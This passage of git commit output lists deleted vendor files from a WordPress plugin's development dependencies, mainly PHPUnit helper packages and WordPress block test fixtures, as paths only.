wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/IterableType.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/MixedType.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/NeverType.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/NullType.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/ObjectType.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/SimpleType.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/StaticType.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/TrueType.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/Type.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/UnionType.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/UnknownType.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/VoidType.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/.gitattributes delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/.gitignore delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/ChangeLog.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/src/Version.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/CHANGELOG.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/composer.lock delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/src/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/src/NamespaceUri.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/src/NamespaceUriException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/src/Token.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/src/TokenCollection.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/src/TokenCollectionException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/src/Tokenizer.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/src/XMLSerializer.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/__loaded.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/WPHTTP-testcase-redirection-script.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/do-blocks-expected.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/do-blocks-original.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives__showPostCounts.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives__showPostCounts.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives__showPostCounts.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives__showPostCounts.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives__showPostCounts.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__audio.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__audio.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__audio.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__audio.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__audio.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__block.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__block.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__block.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__block.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__block.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__button__center.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__button__center.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__button__center.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__button__center.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__button__center.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__categories.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__categories.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__categories.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__categories.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__categories.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__code.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__code.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__code.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__code.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__code.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__column.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__column.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__column.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__column.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__column.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns__deprecated.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns__deprecated.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns__deprecated.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns__deprecated.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns__deprecated.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover-image.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover-image.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover-image.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover-image.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover-image.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video-overlay.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video-overlay.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video-overlay.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video-overlay.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video-overlay.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover__video.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__embed.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__embed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__embed.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__embed.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__embed.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__new-window.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__new-window.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__new-window.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__new-window.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__new-window.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-download-button.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-download-button.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-download-button.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-download-button.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-download-button.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-text-link.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-text-link.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-text-link.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-text-link.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__file__no-text-link.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform__undelimited.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform__undelimited.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform__undelimited.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform__undelimited.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__freeform__undelimited.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery-with-caption.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery-with-caption.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery-with-caption.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery-with-caption.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery-with-caption.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__columns.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__columns.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__columns.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__columns.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__columns.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-1.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-1.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-1.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-1.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-1.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-2.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-2.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-2.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-2.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-2.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-3.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-3.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-3.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-3.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-3.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-4.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-4.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-4.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-4.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-4.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-5.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-5.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-5.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-5.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-5.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-6.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-6.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-6.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-6.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-6.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-7.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-7.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-7.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-7.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__gallery__deprecated-7.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2-em.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2-em.json delete mode 100644 